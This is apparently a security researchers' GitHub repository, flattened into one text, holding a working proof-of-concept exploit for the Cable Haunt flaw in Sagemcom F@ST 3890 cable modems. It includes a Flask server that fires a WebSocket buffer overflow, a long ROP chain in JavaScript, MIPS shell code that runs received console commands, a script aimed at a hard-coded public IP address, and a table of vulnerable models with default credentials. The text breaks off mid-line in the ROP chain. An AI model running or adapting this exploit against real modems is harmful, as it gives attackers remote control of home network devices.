├── README.md ├── VULNERABLE.md ├── exploit.py ├── exploit.raw ├── remote.py ├── reverseshell.c ├── static ├── exploitSagemcom.js └── index.html └── utf8TestScript.py /README.md: -------------------------------------------------------------------------------- 1 | # Sagemcom Fast 3890 exploit 2 | 3 | This exploit uses the [Cable Haunt vulnerability](https://cablehaunt.com) to pop a shell on the Sagemcom F@ST 3890 (50.10.19*) cable modem, from local network access. Firmware version 50.10.21 or newer should be secure against Cable Haunt. This Proof of concept has specifically been designed to only work locally to limit the potential for malicious purposes. Another POC that creates a reverse shell to an external connection for the Technicolor TC7230 is available [here](https://github.com/Lyrebirds/technicolor-tc7230-exploit). 4 | 5 | A list of known vulnerable modems can be found on https://cablehaunt.com/#faq-am-i-affected. 6 | 7 | ## How it works 8 | 9 | The exploit.py serves a website, that when visited, sends a malicious WebSocket request to the cable modem. 10 | This request overflows the return address and accompanying registers in the Spectrum Analyzer of the cable modem, and uses a ROP-chain to start listening for a TCP connection on port 1337. 11 | The ROP-chain is constructed and commented in `static/exploitSagemcom.js`. 12 | The exploit.py server then sends the exploit.raw file over this TCP connection which will then be executed by the modem. 13 | The exploit.raw file is reverseshell.c compiled to MIPS architecture (see below how). 14 | Reverseshell.c is a shell written explicitly for this modem. The shell listens for commands to be run in the eCos shell on the cable modem and redirect STDOUT to the TCP connection. 15 | 16 | You can find a video explaining the exploit here: https://www.youtube.com/watch?v=5FM9mS5ck3Y 17 | 18 | ## Running the exploit 19 | 20 | **Note: Windows 10 is not currently supported, you must use a Linux based OS** 21 | 22 | Install pwntools and flask for python3 and run `python exploit.py`. 23 | Now go to http://127.0.0.1:8080 in your browser, to exploit the modem. 24 | Firefox will not work for this, as the WebSocket version used is not compatible. 25 | 26 | Now an interactive shell should pop in your terminal running the python script. 27 | If you exit the shell, the modem needs to be rebooted to start a new shell. 28 | 29 | ## Building your own payload 30 | 31 | If you want to compile your own payload you can grab the toolchain from [aeolus](https://github.com/Broadcom/aeolus) and run the following command: 32 | 33 | ``` 34 | //gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc -O3 -c ./reverseshell.c -o ./reverseshell.o && //toolchains/gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary reverseshell.o exploit.raw 35 | ``` 36 | 37 | # Exploiting other modems 38 | You can build and exploit any modem vulnerable to Cable Haunt using this technique. 39 | We recommend reading the [techincal report](https://github.com/Lyrebirds/Cable-Haunt-Report/releases/latest/download/report.pdf) before trying to write your own ROP-chain. 40 | Go to [Cable Haunt](https://cablehaunt.com) for a list of known vulnerable cable modems. 41 | 42 | ### Building the ROP chain 43 | 44 | First, you will need the firmware for the cable modem you're going to exploit. 45 | Then, reverse engineer the firmware to find the addresses of the relevant function for building the exploit such as socket(), bind(), accept(), listen(), recv() and connect() for a shell. 46 | Then [Ropper](https://github.com/sashs/Ropper) can be used to find gadgets using the following command: 47 | 48 | ``` 49 | python Ropper.py --type all --all --badbytes 00c0c1f5f6f7f8f9fafbfcfdfeff2c -r -a MIPSBE -I 0x80004000 --console -f 50 | ``` 51 | 52 | ### Unreachable gadgets 53 | 54 | Not all gadgets can be reached, as gadgets are just addresses sent as raw bytes and not all bytes can be sent as a WebSocket request with text frames. 55 | For instance, the address 0x8080a864 can not directly be inserted in a WebSocket text frame, as it is not a valid UTF-8 character. The address 0xf28080a864 can however be inserted, as 0xf2 means start new UTF-8 symbol with 0x8080a864 as the trailing bytes. 56 | The following bytes cannot be present in any address used because of the utf-8 specification: 0x00, 0xc0,0xc1,0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x2c. Other restrictions also exists which will soon be explained further in our report. 57 | For now, you can read and use `utf8TestScript.py` to test if an address if reachable. 58 | 59 | ### Custom payload 60 | 61 | You can use the process described above to compile your own payload for new cable modem but remember that the payload must not return! If it returns, the process will look for a return address on the smashed stack and crash. 62 | 63 | ## Extracting firmware from Cable Modems 64 | 65 | For most modems, you will need a way to access the eCos shell to extract the firmware or extracting it directly from the flash chip. 66 | These firmwares are usually packed in a format called [ProgramStore](https://github.com/jclehner/bcm2-utils/blob/master/FIRMWARE.md) 67 | If the serial console is not working try running: (might only work if coax cable is disconnected or not provisioned) 68 | ``` 69 | snmpset -v2c -c private 192.168.0.1 1.3.6.1.4.1.4413.2.2.2.1.9.1.2.1.0 i 2 70 | snmpset -v2c -c private 192.168.0.1 1.3.6.1.4.1.4413.2.2.2.1.9.1.2.1.0 i 0 71 | snmpset -v2c -c private 192.168.0.1 1.3.6.1.4.1.4413.2.2.2.1.9.1.2.1.0 i 2 72 | ``` 73 | Then the shell should be accessible, and [bcm2-utils]( [https://github.com/jclehner/bcm2-utils) can make it easy to extract it using this shell. 74 | When reversing the extracted firmware the load/base address is (as far as we have seen) always 0x80004000. 75 | -------------------------------------------------------------------------------- /VULNERABLE.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Models 2 | ## Verified by Lyrebirds 3 | | Model | Firmware version | Port | Credentials | AuthType | ISP | 4 | | ----------------------------- | ------------------------------------- | ------- | ------------------- | -------- | --------------------------------------- | 5 | | Sagemcom F@st 3890 | 50.10.19.* | 6080 | spectrum:spectrum | Basic | | 6 | | Sagemcom F@st 3686 | SIP_3.428.0-* | 6080 | spectrum:spectrum | Basic | | 7 | | Technicolor TC7230 | STEB 01.25 | 8080 | | None | | 8 | | Netgear C6250EMR | V2.01.05 | 8080 | | None | | 9 | | Netgear CG3700EMR | V2.01.03 | 8080 | | None | | 10 | | Sagemcom F@st 3890 | 05.76.6.3a | unknown | unknown | unknown | | 11 | | Sagemcom F@st 3686 | 4.83.0 | unknown | unknown | unknown | | 12 | | COMPAL 7284E | 5.510.5.11 | unknown | unknown | unknown | | 13 | | COMPAL 7486E | 5.510.5.11 | unknown | unknown | unknown | | 14 | | Netgear CG3700EMR | V2.01.05 | 8080 | | None | | 15 | 16 | ## Community Reports 17 | | Model | Firmware version | Port | Credentials | AuthType | ISP | 18 | | ----------------------------- | ------------------------------------- | ------- | ------------------- | -------- | --------------------------------------- | 19 | | Technicolor TC4400 | SR70.12.33-180327 | 8080 | admin:bEn2o#US9s | Basic | Unknown | 20 | | Arris Surfboard SB8200 | 0200.174F.311915 | 8080 | admin:password | Basic | Mediacom | 21 | | Arris Surfboard CM8200A | unknown | unknown | unknown | unknown | Comcast | 22 | | Arris Surfboard SB6813­ | D30CM-OSPREY-1.5.2.5-GA-00-NOSH | unknown | unknown | unknown | Spectrum (previously Time Warner Cable) | 23 | | Netgear CM1000 | V6.01.02 | 8080 | admin:password | Basic | Comcast | 24 | | Netgear CM1000-1AZNAS | V5.01.04 | 8080 | | None | COX US | 25 | | Humax HGB10R-02­ | BRGCAB 1.0.03 | 8080 | | None | NET CLARO Brazil­ | 26 | | Technicolor TC7300­ | STF3.31.11­ | 8080 | | None | Claro Colombia­ | 27 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | from flask import Flask 4 | from flask import request 5 | from flask import Response 6 | from flask import send_from_directory 7 | from flask import jsonify 8 | 9 | def exploit(ip): 10 | with open('exploit.raw', 'rb') as f: 11 | shellcode = f.read() 12 | 13 | l = remote(ip, 1337) 14 | l.sendline(shellcode) 15 | l.sendafter(b'Done!', b'/docsis_ctl/scan_stop\n') 16 | l.sendafter(b'Scan stopped...', b'ls') 17 | 18 | l.interactive() 19 | 20 | app = Flask(__name__) 21 | 22 | @app.route('/') 23 | def home(): 24 | return app.send_static_file('./index.html') 25 | 26 | @app.route('/exploit.js') 27 | def loopJS(): 28 | return app.send_static_file('./exploitSagemcom.js') 29 | 30 | @app.route('/payload') 31 | def payload(): 32 | exploit('192.168.100.1') #should be from requests if exploit remotely 33 | 34 | app.run(host='0.0.0.0', port=8085, use_reloader=False, debug=True) 35 | -------------------------------------------------------------------------------- /exploit.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lyrebirds/sagemcom-fast-3890-exploit/b4b8d1bfbfc22cb3d523de4444506bd18127ad64/exploit.raw -------------------------------------------------------------------------------- /remote.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import time 3 | def exploit(ip): 4 | with open('exploit.raw', 'rb') as f: 5 | shellcode = f.read() 6 | 7 | l = remote(ip, 1337) 8 | l.sendline(shellcode) 9 | #l.sendafter(b'Done!', b'/docsis_ctl/scan_stop\n') 10 | #l.sendafter(b'Scan stopped...', b'ls') 11 | 12 | l.interactive() 13 | 14 | exploit('5.103.158.114') 15 | -------------------------------------------------------------------------------- /reverseshell.c: -------------------------------------------------------------------------------- 1 | #define SAVED_SOCKET_ADDR 0x80a05b24 2 | #define RECV_ADDR 0x808ae0cc 3 | #define SEND_ADDR 0x808ae22c 4 | #define CONSOLE_EXECUTE_ADDR 0x80231f84 5 | #define GET_CONSOLE_SINGLETON_ADDR 0x80231f14 6 | #define MEMCPY_ADDR 0x80850e80 7 | #define MALLOC_ADDR 0x800049b4 8 | #define BZERO_ADDR 0x805cda2c 9 | #define COMMAND_OFFSET 0x107d 10 | #define STRLEN_ADDR 0x808512e8 11 | #define SYG_FP_GET 0x808abb10 12 | #define CYG_FP_FREE 0x808abb78 13 | #define CYG_DF_ASSIGN 0x808aba38 14 | #define STRLCPY_ADDR 0x80604fa0 15 | #define PRINTF_ADDR 0x8084e03c 16 | 17 | typedef void* memcpy_t(void* to, void const* from, unsigned int size); 18 | typedef void* strlcpy_t(void* to, void const* from, unsigned int size); 19 | typedef int recv_t(int s, void* buf, unsigned int len, int flags); 20 | typedef unsigned int *send_t(int s, void const* buf, unsigned int len, int flags); 21 | typedef void* malloc_t(unsigned int size); 22 | typedef void* bzero_t(void* block, unsigned int size); 23 | typedef unsigned int strlen_t(char const* s); 24 | typedef int sleep_t(unsigned int zzz); 25 | typedef void *cyg_fp_get_t(int fd); 26 | typedef void cyg_fp_free_t(void *fp); 27 | typedef int cyg_fd_assign_t(int fd, void *fp); 28 | typedef int printf_t(char *str, ...); 29 | 30 | typedef void* BcmConsoleGetSingletonInstance_t(void); 31 | typedef int BcmConsoleExecuteCurrentCommand_t(void* console); 32 | 33 | int __start(void) { 34 | // memcpy_t *memcpy_ptr = (memcpy_t *) MEMCPY_ADDR; 35 | recv_t *recv_ptr = (recv_t *) RECV_ADDR; 36 | //send_t *send_ptr = (send_t *) SEND_ADDR; 37 | malloc_t *malloc_ptr = (malloc_t *) MALLOC_ADDR; 38 | bzero_t *bzero_ptr = (bzero_t *) BZERO_ADDR; 39 | // strlen_t *strlen_ptr = (strlen_t *) STRLEN_ADDR; 40 | strlcpy_t *strlcpy_ptr = (strlcpy_t *) STRLCPY_ADDR; 41 | printf_t *printf_ptr = (printf_t *) PRINTF_ADDR; 42 | 43 | cyg_fp_get_t *cyg_fp_get_ptr = (cyg_fp_get_t *) SYG_FP_GET; 44 | cyg_fp_free_t *cyg_fp_free_ptr = (cyg_fp_free_t *) CYG_FP_FREE; 45 | cyg_fd_assign_t *cyg_fd_assign_ptr = (cyg_fd_assign_t *) CYG_DF_ASSIGN; 46 | 47 | BcmConsoleExecuteCurrentCommand_t *consoleExecute_ptr = (BcmConsoleExecuteCurrentCommand_t *) CONSOLE_EXECUTE_ADDR; 48 | BcmConsoleGetSingletonInstance_t *consoleGetInstance_ptr = (BcmConsoleGetSingletonInstance_t *) GET_CONSOLE_SINGLETON_ADDR; 49 | 50 | int socket = *((int *)SAVED_SOCKET_ADDR); 51 | void *buffer = malloc_ptr(0x100); 52 | void *consoleInstance = consoleGetInstance_ptr(); 53 | int receivedBytes = 0x0; 54 | 55 | void *fp = cyg_fp_get_ptr(socket); 56 | cyg_fd_assign_ptr(0x1, fp); 57 | cyg_fp_free_ptr(fp); 58 | 59 | printf_ptr((char *)0x8096e272); 60 | 61 | for (;;) { 62 | bzero_ptr(buffer, 0x100); 63 | receivedBytes = recv_ptr(socket, buffer, 0x100, 0x0); 64 | if (receivedBytes > 0) { 65 | char *commandBuffer = ((char *)consoleInstance); 66 | commandBuffer += 0x107d; 67 | //printf_ptr((char *) 0x80a626f0, commandBuffer); 68 | strlcpy_ptr(commandBuffer, buffer, receivedBytes); 69 | commandBuffer[receivedBytes+1] = 0x0; 70 | //printf_ptr(commandBuffer); 71 | consoleExecute_ptr(consoleInstance); 72 | } 73 | } 74 | 75 | return 0; 76 | } 77 | -------------------------------------------------------------------------------- /static/exploitSagemcom.js: -------------------------------------------------------------------------------- 1 | function buf2hex(buffer) { // buffer is an ArrayBuffer 2 | return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''); 3 | } 4 | 5 | function insertAt(arr, index, toInsert) { 6 | for(let i = 0; i < toInsert.length; i++) { 7 | arr[i+index]= toInsert[i]; 8 | } 9 | } 10 | 11 | function testEqual(buf1, buf2) 12 | { 13 | if (buf1.byteLength != buf2.byteLength) return false; 14 | var dv1 = new Int8Array(buf1); 15 | var dv2 = new Int8Array(buf2); 16 | for (var i = 0 ; i != buf1.byteLength ; i++) 17 | { 18 | if (dv1[i] != dv2[i]) return false; 19 | } 20 | return true; 21 | } 22 | 23 | arr = new Uint8Array(0xd00); 24 | 25 | arr.fill(0x41) 26 | 27 | firstSp = 0x00 28 | previousSp = firstSp 29 | sp = previousSp+0xa0 30 | insertAt(arr, previousSp+0x84-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) 31 | insertAt(arr, previousSp+0x94-1, [0xf2, 0x80, 0x80, 0xa8, 0x64]) 32 | // 0x8080a864: addiu $a0, $zero, 2; lw $ra, 0x14($sp); lw $s0, 0x10($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 33 | 34 | previousSp = sp 35 | sp = previousSp+0x20 36 | insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x3a, 0x1b, 0x54]) 37 | //0x803a1b54: addiu $a1, $zero, 1; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 38 | 39 | previousSp = sp 40 | sp = previousSp+0x10 41 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0x14, 0x27, 0x10]) 42 | //0x80142710: move $a2, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 43 | 44 | previousSp = sp 45 | sp = previousSp+0x10 46 | insertAt(arr, previousSp-1, [0xf2, 0x80, 0x8a, 0x89, 0x7c]) 47 | insertAt(arr, previousSp+0x8-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 48 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 49 | 50 | previousSp = sp 51 | sp = previousSp+0x10 52 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x4c, 0x27, 0x78]) 53 | //0x804c2778: addiu $v0, $v0, 0x4d90; lw $ra, 0x24($sp); lw $s0, 0x20($sp); jr $ra; addiu $sp, $sp, 0x30; 54 | 55 | previousSp = sp 56 | sp = previousSp+0x30 57 | insertAt(arr, previousSp+0x24-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 58 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 59 | //call Socket 60 | 61 | //0x80a05b20 62 | socketAddr = [0xe2, 0x80, 0xa0, 0x5b, 0x20] 63 | 64 | previousSp = sp 65 | sp = previousSp+0x10 66 | insertAt(arr, sp-1, socketAddr) //set s0 = socketAddr 67 | insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5 68 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 69 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 70 | 71 | previousSp = sp 72 | sp = previousSp+0x80 73 | insertAt(arr, previousSp+0x20-1, [0xe2, 0x80, 0x8e, 0x2a, 0x20]) 74 | //0x808e2a20: sw $v0, ($s0); move $v0, $s0; lw $ra, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20; 75 | 76 | //0x80a05a30; 77 | serverAddr = [0xe2, 0x80, 0xa0, 0x5a, 0x30]; 78 | 79 | previousSp = sp 80 | sp = previousSp+0x20 81 | insertAt(arr, sp-1, serverAddr) //set s0 = serverAddr 82 | insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 83 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 84 | 85 | previousSp = sp 86 | sp = previousSp + 0x80 87 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x48, 0x71, 0x6c]) 88 | //0x8048716c: move $a0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 89 | 90 | previousSp = sp 91 | sp = previousSp + 0x10 92 | insertAt(arr, previousSp+0x8-1, [0xf2, 0x80, 0x87, 0x9e, 0x68]) 93 | //0x80879e68: move $a1, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 94 | 95 | previousSp = sp 96 | sp = previousSp + 0x10 97 | insertAt(arr, previousSp-1, [0xe2, 0x80, 0x83, 0xd9, 0xb8]) 98 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x7f, 0x18, 0x18]) 99 | //0x807f1818: addiu $a2, $zero, 0x20; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 100 | 101 | previousSp = sp 102 | sp = previousSp+0x10 103 | insertAt(arr, previousSp-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 104 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 105 | 106 | previousSp = sp 107 | sp = previousSp+0x10 108 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x2e, 0x4f, 0x44]) 109 | //0x802e4f44: addiu $v0, $v0, 0x77c8; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 110 | 111 | previousSp = sp 112 | sp = previousSp+0x10 113 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 114 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 115 | //call memset 116 | 117 | previousSp = sp 118 | sp = previousSp+0x10 119 | insertAt(arr, sp, [0x41, 0x2, 0x5, 0x39]) //set s0 = port 120 | insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5 121 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 122 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 123 | 124 | // previousSp = sp 125 | // sp = previousSp+0x10 126 | // insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) 127 | // //0x80787f64: jalr $s5; nop; 128 | 129 | previousSp = sp 130 | sp = previousSp+0x80 131 | insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 132 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 133 | 134 | previousSp = sp 135 | sp = previousSp+0x10 136 | insertAt(arr, sp-1, serverAddr) //set s0 = serverAddr 137 | insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5 138 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 139 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 140 | 141 | previousSp = sp 142 | sp = previousSp+0x80 143 | insertAt(arr, sp-1, socketAddr) 144 | insertAt(arr, previousSp+0x20-1, [0xe2, 0x80, 0x8e, 0x2a, 0x20]) 145 | //0x808e2a20: sw $v0, ($s0); move $v0, $s0; lw $ra, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20; 146 | //store port 147 | 148 | // previousSp = sp 149 | // sp = previousSp+0x20 150 | // insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) 151 | // //0x80787f64: jalr $s5; nop; 152 | 153 | socketAddrM4 = [0xe2, 0x80, 0xa0, 0x5b, 0x1c] 154 | 155 | previousSp = sp 156 | sp = previousSp+0x20 157 | insertAt(arr, sp-1, socketAddrM4) //set s0 = socketAddr - 4 158 | insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 159 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 160 | 161 | previousSp = sp 162 | sp = previousSp+0x80 163 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x3d, 0x5b, 0x30]) 164 | //0x803d5b30: move $a0, $s0; move $v0, $zero; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 165 | 166 | previousSp = sp 167 | sp = previousSp+0x10 168 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd, 0x57, 0x6c]) 169 | //0x800d576c: lw $a0, 4($a0); lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 170 | 171 | previousSp = sp 172 | sp = previousSp+0x10 173 | insertAt(arr, sp+0x4-1, serverAddr) //set s1 = server 174 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 175 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 176 | 177 | previousSp = sp 178 | sp = previousSp+0x80 179 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x5d, 0xdf, 0xb8]) 180 | //0x805ddfb8: move $a1, $s1; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 181 | 182 | previousSp = sp 183 | sp = previousSp + 0x10 184 | insertAt(arr, previousSp-1, [0xe2, 0x80, 0x8a, 0x62, 0x4c]) 185 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x7f, 0x18, 0x18]) 186 | //0x807f1818: addiu $a2, $zero, 0x20; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 187 | 188 | previousSp = sp 189 | sp = previousSp+0x10 190 | insertAt(arr, previousSp-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 191 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 192 | 193 | previousSp = sp 194 | sp = previousSp+0x10 195 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x2e, 0x4f, 0x44]) 196 | //0x802e4f44: addiu $v0, $v0, 0x77c8; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 197 | 198 | previousSp = sp 199 | sp = previousSp+0x10 200 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 201 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 202 | //call bind 203 | 204 | previousSp = sp 205 | sp = previousSp+0x10 206 | insertAt(arr, sp-1, socketAddrM4) //set s0 = socketAddr - 4 207 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 208 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 209 | 210 | previousSp = sp 211 | sp = previousSp+0x80 212 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x3d, 0x5b, 0x30]) 213 | //0x803d5b30: move $a0, $s0; move $v0, $zero; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 214 | 215 | previousSp = sp 216 | sp = previousSp+0x10 217 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd, 0x57, 0x6c]) 218 | //0x800d576c: lw $a0, 4($a0); lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 219 | 220 | previousSp = sp 221 | sp = previousSp+0x10 222 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0x3a, 0x1b, 0x54]) 223 | //0x803a1b54: addiu $a1, $zero, 1; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 224 | 225 | previousSp = sp 226 | sp = previousSp+0x10 227 | insertAt(arr, sp-1, [0xf2, 0x80, 0x8a, 0x91, 0x20]) //set s0 = listen - 0x 228 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 229 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 230 | 231 | previousSp = sp 232 | sp = previousSp+0x80 233 | insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 234 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 235 | 236 | previousSp = sp 237 | sp = previousSp+0x10 238 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x4c, 0x27, 0x78]) 239 | //0x804c2778: addiu $v0, $v0, 0x4d90; lw $ra, 0x24($sp); lw $s0, 0x20($sp); jr $ra; addiu $sp, $sp, 0x30; 240 | 241 | previousSp = sp 242 | sp = previousSp+0x30 243 | insertAt(arr, previousSp+0x24-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 244 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 245 | //call listen 246 | 247 | previousSp = sp 248 | sp = previousSp+0x10 249 | insertAt(arr, sp-1, socketAddrM4) //set s0 = socketAddr - 4 250 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 251 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 252 | 253 | previousSp = sp 254 | sp = previousSp+0x80 255 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x3d, 0x5b, 0x30]) 256 | //0x803d5b30: move $a0, $s0; move $v0, $zero; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 257 | 258 | previousSp = sp 259 | sp = previousSp+0x10 260 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd, 0x57, 0x6c]) 261 | //0x800d576c: lw $a0, 4($a0); lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 262 | 263 | previousSp = sp 264 | sp = previousSp+0x10 265 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0x8, 0x40, 0x8]) 266 | //0x80084008: move $a1, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 267 | 268 | previousSp = sp 269 | sp = previousSp+0x10 270 | insertAt(arr, sp-1, [0xe2, 0x80, 0x8a, 0xd8, 0x84]) //set s0 = accept 271 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x14, 0x27, 0x10]) 272 | //0x80142710: move $a2, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 273 | 274 | previousSp = sp 275 | sp = previousSp+0x10 276 | insertAt(arr, previousSp+0x8-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 277 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 278 | 279 | previousSp = sp 280 | sp = previousSp+0x10 281 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 282 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 283 | //call accept 284 | 285 | //0x80a05b24 286 | clientAddr = [0xe2, 0x80, 0xa0, 0x5b, 0x24] 287 | 288 | previousSp = sp 289 | sp = previousSp+0x10 290 | insertAt(arr, sp-1, clientAddr) //set s0 = clientAddr 291 | insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5 292 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 293 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 294 | 295 | previousSp = sp 296 | sp = previousSp+0x80 297 | insertAt(arr, previousSp+0x20-1, [0xe2, 0x80, 0x8e, 0x2a, 0x20]) 298 | //0x808e2a20: sw $v0, ($s0); move $v0, $s0; lw $ra, 0x14($sp); 